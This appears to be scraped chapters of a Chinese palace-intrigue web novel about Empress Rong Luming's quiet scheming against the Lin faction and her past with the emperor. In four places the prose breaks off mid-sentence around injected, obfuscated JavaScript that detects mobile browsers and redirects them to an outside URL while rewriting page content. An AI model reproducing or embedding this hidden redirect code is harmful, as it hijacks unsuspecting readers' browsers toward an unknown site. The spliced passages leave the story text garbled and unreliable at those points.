晚间,萧正则未来凤仪宫。容鹿鸣乐得清闲,扶在黄花梨的夔凤纹平头案上,翻看她自御书阁寻到的孤本医书。看了会儿,她开口道:“看林乔峤今日入宫那个架势,多少新妃今夜恐怕要难眠了。” “皇后娘娘可是嫉妒了?”美盼打趣她。 容鹿鸣笑,“她未进宫之时我倒有些羡慕,现在,不了。” “看她那一身珠光宝气的,奴婢听说,陛下今日赏赐众妃,赐她的最多。” “我的赏赐可都送妥了?” “回皇后娘娘的话,妥了,俱是我和郁雾姑娘一道送去的。按照娘娘的吩咐,林昭容那里的最多。”林乔峤已是封了正二品的昭容。 容鹿鸣继续看书,忽地按住美盼悄悄潜过来的手。 “又想换我的茶?且让我饮完这盏。” “皇后娘娘,夜深了,您伤还未痊愈,安神的药也多日不饮了。” “多日?”容鹿鸣瞟了她一眼。她读书时是有些沉迷,手边的茶端来便饮,全不在意。这两日临睡时才觉出嘴里有股药味儿,定是有人换了她的茶。 “好啦好啦,奴婢也就才换了两日而已。” “而已?”容鹿鸣捏住她粉嫩的面颊,“那些庸医是怎么说动你的?” “痛痛!”美盼虚张声势,把自己的脸拔了回来,“是医却不庸,皇后娘娘尝尝,有什么不同?” 美盼自檀木茶盘上捧下个汝瓷玲珑铃铛杯,置于容鹿鸣面前。 “尝尝?我可不上你的当。”说话间,药香扑入他鼻中,她登时知道这是谁的方子了。 “我师傅回来了?” “回皇后娘娘的话,陆徐陆院判已归太医院。” “好。”容鹿鸣道了一声,把那药一饮而尽。极苦,她拽过本《老子》摊开在眼前,读了两句,压压苦气。师傅一去经年,这次归来,会带回什么讯息? “皇后娘娘,这本书可是陛下做皇子时为您抄的?此等天赐之物,怕不是一本既出,便能舒了军费之困?” “大胆,这书按理是当供起来的。”当然,容鹿鸣是不会供的。“去,叫人把后殿的库房收拾出三间来。” “皇后娘娘这是要?” 容鹿鸣站起身来,绕着殿内转了一圈,“陛下赐下的不必管,咱们带来了珍品一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594747|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一收到库房内。”她打开黑漆描金嵌红珊瑚的妆奁,这妆奁也是萧正则赐的,层层相叠,堪称诸种珍宝一应俱全。但凡是端出去一层,近日军费之困便可解了,两侧暗格捧出来,疏解旱灾、水患也不是太大的问题。 然而,后宫的家底差不多一半俱在此了,尚有这么些宫人日日要吃穿用度……萧正则此次不仅是在叫穷,更是要借机敲打敲打林党。 毕竟多年带兵,容鹿鸣于财务之事还是颇为通晓。当年于宫外之时,常听言官们说到先帝甚喜奢华。如今入了宫,凭着皇后的印信,几个后宫库房转了一转,她方才觉得,先帝确是所费不赀。 幸好萧正则不似这般,当年,她曾教过他这些的。少有的感到得意,她笑了一笑。 扫了眼面前妆奁,她收了笑。珍宝太多,根本戴不过来。况且她也不感兴趣,除了第一层外,下面几层她甚至都未打开过。这么大个物件放在寝殿里,好看是好看,那红珊瑚嵌成的红牡丹栩栩如生,说是嵌料中还涂了香料,时有暗香幽幽传来。但以容鹿鸣喜简不喜繁的性子,觉得多少有些占地方。 “美盼,叫人把这妆奁也抬到库房里。” “皇后娘娘,这不好吧,总不能只戴那一根簪子,况且,明日起,各宫的娘娘还要日日前来向皇后娘娘请安。” 容鹿鸣轻哼,她头上这支檀木錾金发簪是儿时乳母赠她的,款式简单,如一枚细窄的匕首。多年来陪她出生入死,几乎从不离身。先前她只需要这个,别的于她而言无甚用处。 明日起便不是了,后宫要真正开始热闹起来了。容鹿鸣有些头痛,纵使五十万军队在前,她亦指挥若定。但有些感触是掩不住的,与其在人群中纷争不息,她更愿意去厮杀或去穹心阙凿那眼石窟。 也不是争不来,只是不太喜欢。 师傅陆徐的药起效了,容鹿鸣感到睡意上涌,还有一事未完,“妆奁中的凤簪留下三支,余的抬走。”她又看了眼架在祥云翘头龙门衣桁上的褙子和襦裙,皆是凤鸟纹缂丝,褙子上的凤尾还用了盘金绣。 这便是我的战甲了,她想,抓住此刻最后的宁静舍不得放手,却又极快地,陷入昏沉梦境。 清晨即起,容鹿鸣坐于铜镜前,由美盼为她梳妆。 描金檀木盘内,她只选了两簪一步摇。步摇是支垒丝嵌红、蓝宝石的金凤步摇。 “皇后娘娘,是否有些素气了?想那林昭容……” “素气些好。”容鹿鸣缓言道。她存了隔岸观火的心思,断然不会抢他人风头。 郁雾来禀,淑妃和新封的九嫔俱已到了。容鹿鸣由美盼扶着,走向凤仪宫正殿。鼻端不是北境萧煞的风沙,亦不是南境野花缠绵的花草气,却是一阵熟悉的清香。 她坐于金丝楠描金的宝座上,睇着座下。不管她们怎样掩藏,驯与不驯她心里都清楚。 光阴绕了个圈,她似乎回到很多年前,初次练兵之时。 面前的众美人们,她们的武器不是刀剑,不过,大抵也不遑多让吧。 29. 密谋(上) 林乔峤仍是盛装,隐隐有压过淑贵妃之意。众人不免多看她两眼。她也乐得受人瞩目,作为家中独女,她阿耶颇受新帝倚重,兄长又新领了南下巡盐的要职,放眼这后宫之中,谁还可与她争锋? 她余光扫过一圈,宋淑离,她不太放在心上,一则宋淑离二嫁且年长,能得圣眷多久?二则容相年老,待她阿耶替了容相,她的家世便也不输镇国公了。 只是……她压了目光,轻轻翕动长睫,极快地看了容鹿鸣一眼。奇怪了,她静静坐在那里,面上似是还有笑意,可整个大殿之内,无人敢抬头,更无人敢发出一点声响。 如同即便是春光曦然,再无拘无束的美丽蝴蝶,也能一瞬地感知骤雨将至,而缩起翅膀。 容鹿鸣纵然笑着,可她敛在深处的锐气在嘴角噙了一会儿——她有轻易掀起骤雨的能力。 她的手腕,史官们仁者见仁,众嫔妃们却皆是心有惧意。 即使阿耶替了容相,即使容雅歌平了战乱解甲归田,于容鹿鸣似乎也不会有太大影响。她凭着她自己,已在朝堂之上钉下了个位置。林乔峤想着,她不会与她争宠,但是,也不会那样驯服。 有一桩心事一直压在她心底——她兄长林如柏,名动京师的天之骄子,竟至今孑然一身,只因为容鹿鸣!她想寻了她的某处纰漏,好解了兄长的相思咒。 她好在哪里?林乔峤不敢再抬眼,只在脑中细思她面影。她是美的,但掩住了那种含而不露的艳丽,她的步摇金钗竟至不若宋淑离的华贵。 以她曾在朝中逼问副相的气势,当不是藏拙示人。是与兄长南下巡盐的缘由一致——国库空虚?或是如阿耶所说的,新帝疑心容家掌权过久又兵权在握,有意掣肘,并欲借机扶植林家?被赐座皇后近前,林乔峤在心里思量着。 一阵清香幽幽传来,打断了她的思绪。她颇善香道,一闻便忍住了笑,这等熏香……虽说用着御赐的鎏金卧龟莲花纹五足朵带银香炉,这圣眷恐如廉价熏香,能牵绕她多久? 林乔峤低头,掩饰自己压不住的笑意。一朝天子一朝臣,新人总代旧人笑。 错银镶金铜鹿灯架上的烛火渐次亮了,萧正则搁下朱笔,赏玩了会儿翡翠的笔山,问昙现:“今日,凤仪宫内可安好?” 昙现明白陛下所指乃今日众妃请安之事,笑道:“一切安好。” “都做了些什么?” “众妃行礼罢,皇后娘娘赐了座,一人赐了道茶。不过寒暄几句,众人皆不敢多言。” 萧正则静静听着。昙现觑了眼圣上的脸色,“陛下,奴婢听凤仪宫殿前洒扫的宫女说,林昭容走出正殿时说了句:一国之后,殿里熏的,竟是“穷四和”。 萧正则弯了弯嘴角,他喜欢她制的香,更喜欢她身上的味道。她当年教过他制“穷四和”,说是普通人家里常用的。而她身上的那种香她从未教过,他仿制过多次,均未成功过。 “‘穷四和’呀,”萧正则暗想,她真能做得出来,也不管旁人如何看她。确实,她一直如此,流言蜚语过耳,她常是一笑,问都懒得问。“其他的妃嫔可有说什么?” “回陛下的话,她们不敢。林昭容也是在殿外小声嘀咕的。” 萧正则想起,她以前在营中也是这般,纵是谁军功卓著,也都不敢在她面前造次。她的锐气收放自如,有时会掐朵花在指尖玩半天,有时不说话,看着点兵台下的数万将士,风吹叶动,却是无人敢发出响动。 不过一日不见,他的思绪已开始朝着任意的轨迹滑向她。 连续两三日,萧正则未至凤仪宫,容鹿鸣乐得清闲,不是临摹那副《洛神赋图》,就是读御书阁里寻到的古书孤本。 除了御赐之物,她已着人把多宝槅上的珍宝摆件收了起来,换做了书卷古画。晨间昙现奉旨来送虎头茉莉,还以为误入了容相的书斋。 萧正则听昙现说罢,压在心上的负累轻了一半,他只和她说派林如柏南下巡盐,接了林乔峤入宫做昭容,她就已猜到他想做的事。 夜风吹进回字锦花格的窗棂,他站起身走到窗前,星光落入他心间,是暖的。而夜空深邃,一如人心,皆不可控。 “昙现,随朕去滋兰苑走走。” “是。” 凤仪宫的错银镶金铜鹿灯架上,灯烛荧然。容鹿鸣没在临画,她今日开了御书阁深锁的库房,从中寻出套《墨经》。看竹简发黄的程度,怕是不下几百年了,编绳皆已断裂。 就在御书阁的青砖地板上,她和管理此地的弘文馆学士一道,俯身细读,把竹简一片片排好。这学士知晓容鹿鸣做过讲郎、杀过敌寇,虽说文人清高,但他对容鹿鸣却是发自心底的尊敬。 “皇后娘娘,这上面可都是些古字,娘娘也认得吗?” “大部分。”容鹿鸣边读边示意他继续往后排列书简。她心底其实有些诧异:这些古字她看着陌生,但触目一刹,脑里立刻闪出意思来。儿时的记忆失却过一些,父兄还曾为她延请高人,教授过这些吗? 这竹简的《墨经》和她手中的秘本《墨经》又有不同。她令侍从抬回了凤仪宫,好一一细读。 偏殿里还熏着“穷四和”。她喜欢这香,松柏的味道漫过来,让她想起山林间的雨、埋伏和厮杀。 她边看书简边等人,美盼和巧笑帮她捧着书简。郁雾叫她遣去了太医院,给她寻药。陆徐今夜当值,他看得懂她的药方,定会多留郁雾一些时间。 不多时,容鹿鸣等的人来了。是裴尚书,裴默存。 “裴家小女,见过皇后娘娘。”她一见着容鹿鸣,立即稽首。容鹿鸣知道,她这样自称,是在告诉容家,她裴氏长存报恩之心。 “不必行此大礼。”容鹿鸣亲自把她扶了起来。 “皇后娘娘,此次传奴婢孤身前来,可有什么吩咐?”容鹿鸣甚是欣赏她利落的性子。 “只一事,你在尚书局中,与后宫财政密切相关,你且着重关注这后宫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……是。”美盼明白了容鹿鸣的算计。 “然后,我们静静等着,看看谁能把这扳指找回来,一并地,再套下什么罪名来。” 容鹿鸣笑意深了,拾起木简接着看。看了一会儿,又道:“明日查探几大当铺并典当扳指之事,你不要出面。叫丁四去。” “是。” 她抽过先前画的一幅墨竹小品,于画上提了几行字,折好,交由美盼。 “交给丁四,他看了便明白该如何做。” 甚少人知,容鹿鸣手中还有金饰店、玉器行、茶肆、钱庄、酒楼、布行等好几家店铺。她的简淡不是故作姿态,是见到的、拥有的太多,便不在意了。物物而不物于物,她一直这样想。这事容止也不知。容家唯容雅歌知晓。 30. 谋划(中) 容鹿鸣默默购置商铺,起初是为容家军的老弱病残做打算。以他们的身体状况,为他们置备田产,让他们回乡种田,委实不大现实。 她自小受墨家思想熏陶,颇重实用,觉得从商没什么不好。彼时西市繁盛日甚,东市将将营建完毕,恰好赶上容鹿鸣十四岁生辰,容雅歌问她想要什么礼物。他其实早已准备好了,容鹿鸣同他一样嗜剑成痴,他颇费心血,终于寻到了欧冶子亲铸的龙泉剑,预备作为生辰礼物赠予她。 谁知她忽闪着大眼睛,脱口而出:“哥哥,送鸣鸣间东市店铺吧。” 容雅歌怀疑自己听错了,“你说什么?” “店铺!”容鹿鸣重重地说。 “你要那做什么?” “我有用。” “你……该不会是想开家蜜糖店,然后天天坐自家店里吃吧……” “哥,我有那么没出息吗?” “哼,你还真有!”小时候,偷拿他的书画章去赊蜜糖的事,她又不是只干过三五次。 “哥——” 瞧她那倔劲儿上来了,容雅歌坐到她面前,“好,你说,要间店铺做什么?” “不是要一间,是先要一间。” 容雅歌揉了揉眉心,“你说,快说!” “哥哥,那些老弱残兵,不如,让他们学做生意吧。他们有的擅长做故乡的吃食,有的不仅会锻刀,更擅长打金饰,还有的会做衣服、懂医善药……由这些有手艺的领着,其余的人先从伙计做起,慢慢来,哥哥觉得……好不好?” 容雅歌完全没有料到,她会说出这番话来。他想了片刻,摸了摸她光润的发,“那么,我们且试一试吧。看来,兵营里除了兵法外,还要再加一门算学了。这个,你可得继续逼着他们学。” “包在我身上!” 店铺就这么开了起来,一家成两家,两家成三家……这些军士信誉极好,又占了东市的地利,生意越发兴隆。只是大家都不知道,这幕后老板竟是年纪不大的容鹿鸣。 萧正则此刻立在凤仪宫窗外,俊逸的面孔隐没在芬芳的夜色中。说是去滋兰苑散步,出了福宁宫,他便径直朝这儿走,也不叫侍卫跟着。与其看花,他想,还不如悄悄地来看一看她。 透过殿内烛火,他瞧见巧笑和一众女官俱再那儿,神情似有警觉。 “她又在谋划什么?”萧正则心里想,走近了外侧的窗棂。 “陛下,陛下,这要是被发现了……”昙现小声提醒。 “被发现了就说,朕最心爱的白玉扳指遗失了,来这儿寻。” 昙现心想:“果然,陛下是故意的,为了留个借口来见人。” 听着容鹿鸣在窗内谋划,萧正则觉得如闻琴音,嘈切有致,在他身后,为他驱散众鬼夜啼。 他摊开自己的掌心,因她捏碎白玉盏、因她流血结痂。他想到她明亮锐利的眼睛,纵宝剑出鞘,亦不及她万一。 她是他骨中生出的一柄宝剑。 月光拨开流云,照了下来。他听见她提到丁四。他记得那个精悍的老兵,是个斥候校尉,在一次侦查中伤了左眼和一条腿。当年私下向她学画的时候,她同他讲过丁四的事。 多年前,也是这样一个初夏,容鹿鸣正在弘文馆教习《通鉴》,萧正则每日早早便至,夜间焚膏继晷。书册右下角,书页都因他反复翻阅而磨损。 她颇为欣赏他,但并不怎么大肆奖掖,只是不时读一读他的策论,叫其他几个皇子公主跟着学。 有一日,她到弘文馆很早。其实她每日都很早入宫,照例是陪静妃去滋兰苑走走,莳弄莳弄花草,有时遇见二皇子来请安,就随他们一起赏花拾叶。 那日清早,静妃身体不适,容鹿鸣为她请了脉,并无大碍,开了两副调理的药,着女官去太医院抓来。宫人皆知她是陆徐陆院判的高徒,对她的医术也很是认可。 静妃倚在榻上,待药送去煎,开口柔声唤她,叫她快去弘文馆,说太子一会儿便来,叫她不要担心,别误了弘文馆的正事。那时太子业已成婚,容鹿鸣觉得自己频繁见他,不论是何因由,都委实不妥。于是行了礼就退下了。 光景尚早,她拽了一小枝竹枝,优哉游哉地往弘文馆去。 夏初了,弘文馆庭院里的几株广玉兰开了,雪色的花立于枝头,香极了,如一只只白色的静鸟。偶有几片微黄的大瓣落下,落在青石砖上,仿若细瓷落地,却无声,唯余香。 容鹿鸣背着手往里走,随意看向步步锦花格窗棂,见已经有人坐在那里了,坐在最靠后的位置。 “是静妃娘娘的那个义子,也曾在战场上见过的。”容鹿鸣心想,放轻脚步,走了进去,站到他身后。 他在很认真地作画,于一张巴掌大小的生宣之上,画人物,是仕女图,发饰、襦裙刺绣、衣纹堆叠,皆细腻,颇富韵致,虽未画眉目,亦已得见功力。 “好。”容鹿鸣不禁道了一声。前面人一惊,碰落了墨盒。 “啪!”回音悠悠,萧正则错愕回头。 “臣有罪,惊扰了七皇子。”容鹿鸣躬身一礼。 “不……不怪容讲郎。”他好像有些紧张。 溅起的墨汁落到他们衣摆上,墨香让玉兰的香气一下子深远了。 “七皇子若不嫌弃,臣赔给皇子一件袍衫吧。” “不……不必,容讲郎的衣摆也……”明明不是他的过失,他却显得很愧疚。 “无妨,墨点不多,倘用笔墨连起来,画个……” 她话未说完,却见他单膝跪下来,拾笔,沾了黄铜墨盒中残墨,谦敬地拾起她天青的锦缎袍角,提腕落笔,绘出几杆墨竹。 容鹿鸣顿住了,他下笔疏落有致,意趣高远。他怎知她极爱墨竹? 他画的竹甚得她心。 她细赏了会儿,方才觉得不妥。 “七皇子,折煞臣了!”她伸手扶他,于他手腕之上。他于是又触到了她柔软的、带一层薄茧的手,因为长久握剑,沾着好闻的铁腥味儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610650|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想那手触到他脸侧,贴近他唇角,那样,他便可如梦中般造次地……她的衣角传来淡淡香气,玉兰花,竹叶香,或是,她脚踝上好闻的气息,她是踏过香草而来的么? “那作为七皇子的润笔,课后,请随臣来吧。”容鹿鸣退后一揖,说道。 萧正则极少出宫。容鹿鸣向静妃禀告后,竟真的把他带了出去。先前他只随二哥出过宫。 容大虎、容小虎默默跟在他们身后三步之遥。容鹿鸣则跟在萧正则身侧。 东市之中,人声鼎沸,已较初建之时大为繁盛。一连数家大字号前,人群摩肩接踵,容鹿鸣一把拉住萧正则的手,一边握紧了手中短剑。她笑着看向萧正则,也看向四周。 她此刻虽显得柔和,可萧正则却觉得,她掌中的短剑总醒着,可以随时脱鞘而出。 东市又分东、西、南、北四区,市内货财凡二百二十行,四面立邸,四方珍奇,皆所积集。 容鹿鸣带萧正则去到东市东区,其间最大的一间布行——丁记布行。入得店门,内里众人皆抬头望他们,突地静了,片刻,行动如常,伙计前来搭话。 “要新款的锦缎,为这位郎君做身圆领长袍。” “得嘞!”伙计带他们去后面一处摆着兰花,立着黄花梨山水画屏的房间看布样。一个掌柜模样的人奉了茶来。 茶极香,不似宫中常饮的那种。 伙计依序捧来十余种布样,任他们随意挑选。 “可有喜欢的?”容鹿鸣问。在宫外,她有意略去了敬称。萧正则发觉,她饮茶时惬意地挑动了眉毛,短剑却一直在她掌中握着。 “容讲郎觉得呢?”这些布料虽说不上寸缕寸金,却也都精雅别致。 “这个如何?”她以手背抚过面前青地联珠团窠对鹿纹锦缎。 “好看。”他站在她身后,望着她背影说。 “伙计,量身。” 出了布行,容鹿鸣带萧正则穿过一条街,进了博雅斋,迎面就是几张笑脸,亦把他们迎入里间小院,冰裂纹花格窗外,种着几竿翠竹,深粉的风雨兰张着规整的瓣儿。 掌柜的捧来数样文房四宝。容鹿鸣对萧正则说:“且来挑一挑,挑你喜欢的。” “容讲郎,这……不必了吧……”萧正则站着没动。 “你可愿随我习画?”容鹿鸣走到他面前。 “可以吗?”他猛然抬头望她。 “恩,还如今日一般,你每日早来一个时辰。” “承容讲郎厚恩……”她止住了他的话。 “过来。”她说,为他选了套笔墨纸砚。把一支紫檀杆的狼毫置于他手上,“莫要辜负禀赋。” 萧正则半晌说不出话来。他自小遭过苛待、受过冷遇,后来,也得到过关爱,只是,无人对他有过冀望。他得到过怨恨、羡慕、嫉妒,却未曾得过谁的欣赏。 容鹿鸣说的几个字很烫,烫得他心口生疼,过了片刻他才意识到,那不是痛,是过于巨大的喜悦。 31. 谋划(下) “女郎。”年轻伙计捧来个描金的小漆盘。 容鹿鸣有些尴尬,今日美盼未跟着,她出门一向不带银钱。 “咳,这个……”容鹿鸣抵拳轻咳。 掌柜此时走了进来,使劲拍了那小伙计一巴掌,“乱嚷什么?”随即转过身朝容鹿鸣躬身长揖,余光扫过他身旁的萧正则,“银钱之事,女郎无需在意。” “好,这些都包起来。” 两个小厮跟进来,俱是敛目垂首。 “容讲郎,未付银钱,可以这样取走?”萧正则低声问道。 “无妨,他们会上我府上取。”容鹿鸣张口就来,全然不管实情:谁敢向她要钱? “可是,”萧正则低声笑了,他望见她锋锐背后的一点可爱的柔软,“刚刚走进这两家店铺时,我俱听见一旁有伙计小声嘀咕,说是东家亲自来了。所以,这东家是指容讲郎你么?” 容鹿鸣直想说不是,可对上他满怀信任的目光,她便说不出话来。 “走吧,该回宫了。” 自那时起,萧正则开始感到,周遭的风物变了,光阴的质地也变了。先前被仇恨和孤独掩埋的时光被掘了出来,打磨得发亮。 容鹿鸣看他的画时,读他的策论时,眼中亦会发亮。她虽不多说什么,他却懂她想说的,如同受到无尚的赞美。 她不甚避讳与他亲近,与他这样一个孤弱无势的皇子。但她从不提战场上曾与他遇见,亦不提曾为他在诸皇子面前解围。 他觉得她是个谜。他想着她,猜度着,用思索蝴蝶羽化、花朵盛开的方式。 他从她那里获益良多,静妃和二皇子皆瞧出了他的变化,对容鹿鸣常加赞誉。每回听到她的名字,他心里俱是一跳。 他想要报偿她,却已隐然察觉了她的财富——她根本不需金银之物。 知道她喜欢虎头茉莉,他默默为她种了整整一圃。茉莉开时,他每日清晨先去花圃,摘一朵开得最好的。双手递与她时,为了不显刻意,他总推说是为静妃摘花,亦想到师长。 她每每总是欢喜地收了,插在前襟的盘扣上,或在耳后别一会儿。原来一朵花也能使人开怀,原来不必所喜之物必是有利于我,他想,由心底阴暗的角落慢慢往外走,渐渐能觉出长风入襟怀,阔朗有声。 不敢说出的话一直缄默,他愿意自己是那朵花——可以不冒犯地触到她。 容鹿鸣嗜书如命,萧正则便日日为她抄书。 “七皇子不必如此的。” “我想为容讲郎做些事。” 她柔和地笑了,捏了捏他脸颊。“她仍当我是孩子。”他苦涩地想。他已略高她一指,如果被允许,他的嘴唇已能触到她小巧的鼻尖。 他习武刻苦,手臂早已结实有力,可以把她玉白的手腕紧紧扣住,压在紫檀的窗棂上……他不许自己再想,一人站到夜寂的庭院里,淋了场冷雨。 不过几年,容鹿鸣案头爱读之物,俱已换作他的手抄。运笔时,字里行间涌动着他的欲念——她会触过、抚过他写的字,如触摸他执笔的指骨,或是午梦时扣上那面颊、压于胸口。 人人皆说七皇子写诗仙逸,常引老庄典故。为平康里的一众娘子度曲,飘逸洒脱,闻者动容。多年来,平康里盛传不息:不愿千两金,愿得七郎心。 也曾临窗对月,饮风亦饮酒,萧正则肆意书就了幅《逍遥游》。而他自己不得逍遥,他被困住了——当容鹿鸣离京返归南境。 清早,萧正则自太极殿下了朝会,忘筌自宫外归来,顾不上更衣,奉命来秉,说京中最大的布行——丁记布行,货品被滞留运河之上,无法按时交货,几家客商闹起来,店铺已是关门歇业。掌柜丁四也被京兆府的人带走了。 “只因未按时交货?”萧正则右手轻扣龙书案。 “回禀陛下,面上看着是。可需要奴才继续查探?” “不必。”萧正则道,低头继续察看有关赈灾事务的折子。 忘筌心里有些奇怪,前几日陛下突然令他密切关注丁记布行。陛下富有四海,怎会在意个卖布的? 往外走的时候,忘筌想到件事,陛下有件颇旧的青地联珠团窠对鹿纹锦缎袍子,已是短了,不堪穿着,当是陛下年少时穿过的,却是无比爱惜,令人郑重地置于衣橱,定期晾晒、熏香。 上回他为这衣袍熏香时,瞧见这衣角一枚已褪色的戳印,模糊可辨的二字,似是“丁记”。 “忘筌公公。”林昭容的侍女隔着几步喊他,快走几步上前,敛衽施礼。 “姑娘何事?” “听闻陛下极心爱的白玉扳指遗失了,可找到了否?” “唉,尚未找到呀,陛下为着这事大怒一场。前几日还问责了凤仪宫的女官,一众宫女来福宁宫谢罪,跪了好几个时辰。” “公公宽心,林昭容遣我来同公公讲,我们毓舒宫也会帮着使力寻找。” “那奴才就先谢过林昭容了。” 裴尚宫带了两名女官,捧了橙红柿蒂纹缂丝蜀锦搭盖的两个漆木托盘,入凤仪宫进见。 “回禀皇后娘娘,西北的贡品今日送到了,陛下令奴婢送来,交由皇后娘娘分配。”裴默存语气淡漠。外人面前,她与皇后容鹿鸣似是不曾相识。 容鹿鸣扫了眼那托盘,女官会意,小心翼翼地摘下搭盖,殿内像是蓦地涌入了一大片光彩照人的红霞——竟是两大盘上等的红宝石,嵌了簪子、耳坠、项链……十分惹眼。纵使是在宫中,也难得一见。 容鹿鸣看了两眼,把个龙眼核大小的红宝石珠子项链攒在手中,“这项链,给毓舒宫送去,手镯送去永安宫,其余的,各宫分一分吧。”她留了支精雅的簪子,小巧的宝石不甚出众,但簪子的尖很有些锋利。 裴默存应诺而去,眼神闪烁,似有不解。 美盼双手执起那红宝石发簪,“奴婢为皇后娘娘簪上吧。” “不必,压到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621222|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枕下去就好。” “娘娘亦是喜欢红宝石的,平日里虽不常带这些,可也不能平白把那项链给了林昭容啊!” 美盼一路追随容鹿鸣,见过她挥斥方遒,甚少见她谦恭少语,心中一股郁气不吐不快。 “也不算是平白给的”,容鹿鸣一手支颐,“你这几日若得了闲,去听一耳朵宫内风言风语,一定有趣得很。” 容鹿鸣拾起支竹简接着看,让美盼按着她排好的顺序,用牛皮绳一一串好。 入夏了,晨间的风轻轻吹来,草叶的香气扑面,心间好静。 陛下已近十日不来凤仪宫,前几日还遣人来送虎头茉莉,这几日,却是连花儿也没了。念及此,美盼微蹙了眉头,皇后娘娘却是怡然自得,每日在殿中书画相伴。凤仪宫的花圃里栽了树栀子。光阴几换,朱颜凋敝,这花树已然亭亭如盖。 夏日刚兴起热的劲头,这老栀子已耐不住,开了几枝子花。香气在凤仪宫里转了几圈,朝其他宫殿漫去。 容鹿鸣叫小太监架了漆红的木梯,攀树摘了十几朵含苞待放的,赐予殿内的侍女,一一簪在鬓边。香气随风时淡淡,绕着人时馥郁可亲。容鹿鸣自己也簪了朵。 宫女们不时捡些散落的瓣儿薰帕子,或是仰头查一会儿骨朵,见哪个褪去淡青的朵子松了嘴,赶紧在心里默默记下,明早好叫小太监帮她摘。 整个凤仪宫中涌动着点欢喜,却又芬芳宁静。别宫女官恭敬地走过时,不免心生向往。 萧正则似是因丢了心爱之物,连续几日心绪不佳,前朝遗下的秘色龙凤玲珑瓷盏,已叫他摔碎两个。宫人们跪了一地,有个小太监偷偷藏了两片碎瓷,说是一片可抵一处宅院,叫忘筌撞见,狠狠一通教训。 宫人们当差,俱是提起了十二分的精神。想来陛下定是忧心赈灾之事。昙现却敏锐地察觉到——非也!他理了理袍服,架好拂尘,往滋兰苑快步走去。 那日陛下去凤仪宫,虽未入殿,女官们又怎会不禀告皇后?不论如何,皇后也应当来叩问圣意。可这么几日过去了,既不见皇后差人来,更是不见皇后。也难怪陛下心中不快。 昙现不好直接去凤仪宫请人,陛下知道了恐会动怒。可陛下既想见人一问,又不愿亲自去。 今日晨间,蒙陛下垂问的第一件事是:皇后差人来文华殿了吗? 昙现知晓陛下想听什么,可他委实不敢编,只得据实以告:“回禀陛下,皇后未曾差人来过。” 静了一会儿,萧正则“啪”地摔了本折子,接着,又一个秘色龙凤玲珑瓷盏碎在昙现面前。 昙现心疼坏了,除却这个碎的,这套茶盏可只余最后一只了。他记得皇后也极爱秘色瓷,这以后要是问起来……宫女太监又跪了一地。昙现想,他得尽快把救兵求来。 滋兰苑的掌事公公见昙现来了,以为是出了什么大事,脸都吓白了。却听得昙现问出了句:“凤仪宫的宫女们,可有来摘虎头茉莉?” 32. 动(一) 登基以后,萧正则在滋兰苑划了专门的花圃,种植虎头茉莉。秋冬时则移入特意建成的暖阁,一年四季,茉香不歇。别人只许远观,唯凤仪宫之人可奉皇后口谕来摘。 昙现想借着皇后的女官来摘花时,装作碰巧遇见,说一说文华殿的事。凤仪宫的人何等聪明,待劝了皇后亲自去趟文华殿,陛下不就…… 谁知,凤仪宫的人压根没来。 “近十日,一回都没来吗?”昙现犹不死心。 “昙现公公可能还不知,凤仪宫的那株老栀子开得极盛,几位娘娘还亲自上门去求花,哪里还顾得上这儿的茉莉?” 昙现怅然地回了文华殿。与尚书省左仆射林舒涟打了个照面,他赶紧施礼,见得林尚书面上一团喜气。他女儿林乔峤真是锋芒毕露,惹得后宫嫔妃人人侧目,俱想抓了她的错处,反是家世最为显赫的皇后,隐没在众人的视线之外。 这其实并非好事,难道林尚书老迈糊涂,不思约束女儿?此人一向老谋深算,倒在他手中的人,不可胜数。 当年先帝在时,镇守南境的大将军聂鸣珂上疏弹劾林舒涟贪赃枉法,却被他提前得知、设法拦截了奏疏,反诬聂文珂密谋通敌。聂老将军被押解返京,不幸病死途中。其中真相,有人猜到,正真知晓之人,却极少。 正是南境无将之时,太子压下众议,力荐当时风头正劲的容鹿鸣调任南境战场,主持军务。 当时她虽年轻,可外有军功显赫,内有容相护佑。容家之人,谁敢轻易动得?确实,于纷乱的朝局中竟是最佳人选。 昙现犹记得那会儿奉萧正则之命,为先帝送一幅装裱停当的《逍遥游》。 